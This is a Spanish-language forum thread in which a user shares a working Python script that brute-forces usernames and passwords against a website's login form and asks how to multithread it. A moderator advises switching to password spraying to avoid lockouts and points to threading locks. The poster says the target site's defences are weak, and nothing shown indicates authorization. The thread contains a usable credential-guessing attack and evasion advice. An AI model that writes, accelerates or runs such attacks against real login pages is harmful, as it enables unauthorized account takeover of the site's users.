[SOLUCIONADO] [Python] Hacer que mi brute forcer basico use threads

Iniciado por darkchoto, Octubre 20, 2015, 05:41:55 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Octubre 20, 2015, 05:41:55 AM Ultima modificación: Diciembre 10, 2015, 01:42:07 PM por WhiZ
Buenas a todos.

Me he programado un script que me hace bruteforce de usuarios y contraseñas en una web x, el asunto es que mi script funciona a la perfeccion pero es algo lento. Me gustaria saber como implementarle threading para acelerar el proceso de bruteforce.

La parte del codigo que hace el brute es la siguiente:

Código: python
#users y passwords son dos listas como se debe suponer
for i in range(len(users)):
post['user'] = users[i]
print '\nProbando usuario: %s' % users[i]
for x in range(len(passwords)):
post['pass'] = passwords[x]
r = requests.post('http://x.com' , data=post , headers=headers)
#Esta parte solo muestra en la terminal con la de las pass que se han probado y la password en si en que va
sys.stdout.write('\rPassword: %s %s/%s' % (passwords[x],passwords.index(passwords[x])+1,len(passwords)))
sys.stdout.flush()
if not r.content.find('Welcome') > -1:
continue
else:
print '\nUser:%s Password:%s' % (users[i],passwords[x])
break



De ante mano gracias a cualquier ayuda que me puedan brindar.

Hola @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta! Para hacerlo podés recurrir a la clase Thread del módulo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Una recomendación: hacé un ataque por contraseña en vez de hacerlo por usuario. Con eso evitás que bloqueen el ataque. Creá una lista de contraseñas comunes y obtené una lista de usuarios de la aplicación web a analizar (podrías hacer una app para eso tmb). Con las dos listas en mano, probá múltiples usuarios por contraseña. Sería algo así :

Código: python
passwords= [] 
users = []

for password in passwords:
    for user in users:
        try:
            # resto del código
        except Exception as e:
            # manejo de errores


Saludos!
WhiZ


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta! Para hacerlo podés recurrir a la clase Thread del módulo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Una recomendación: hacé un ataque por contraseña en vez de hacerlo por usuario. Con eso evitás que bloqueen el ataque. Creá una lista de contraseñas comunes y obtené una lista de usuarios de la aplicación web a analizar (podrías hacer una app para eso tmb). Con las dos listas en mano, probá múltiples usuarios por contraseña. Sería algo así :

Código: python
passwords= [] 
users = []

for password in passwords:
    for user in users:
        try:
            # resto del código
        except Exception as e:
            # manejo de errores


Saludos!
WhiZ
Gracias por tu respuesta, entiendo tu sugerencia y es excelente idea, aunque en el sitio que uso mi bruteforcer no necesito hacerlo de esa forma porque sus medidas de seguridad contra bruteforcing de contraseñas a sus usuarios son muy pobres.

Pasando al real motivo de mi post (la aplicacion de multi-threading) a mi script para acelerar el proceso, he leido y creo entender un mas o menos como funciona la clase mencionada pero no logro aplicarlo a mi script. He leido que lo mas recomendable en casos parecidos al mio es usar colas con el modulo Queue, aunque no comprendo bien como hacerlo funcionar con mi script y poder seguir usando la parte del contador de passwords.

Espero tu o alguien mas me pueda dar una luz con esto.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
entiendo tu sugerencia y es excelente idea, aunque en el sitio que uso mi bruteforcer no necesito hacerlo de esa forma porque sus medidas de seguridad contra bruteforcing de contraseñas a sus usuarios son muy pobres.

Más allá de la página que estés auditando en este momento, siempre te conviene hacer un código flexible. En todo caso, lo que yo haría es un script que pregunte cómo realizar el ataque: por usuario o por contraseña.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Pasando al real motivo de mi post (la aplicacion de multi-threading) a mi script para acelerar el proceso, he leido y creo entender un mas o menos como funciona la clase mencionada pero no logro aplicarlo a mi script. He leido que lo mas recomendable en casos parecidos al mio es usar colas con el modulo Queue, aunque no comprendo bien como hacerlo funcionar con mi script y poder seguir usando la parte del contador de passwords.

En las aplicaciones que emplean varios hilos, si éstos necesitan acceder a un mismo recurso, lo ideal es bloquear el acceso al mismo mientras esté siendo utilizado. En tu caso, podés hacer esto con la No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

En No tienes permitido ver los links. Registrarse o Entrar a mi cuenta de Raul González Duque, precisamente en la sección "Sincronización" del capítulo "Threads", podés encontrar una buena explicación.

Espero que te sirva!

Saludos!
WhiZ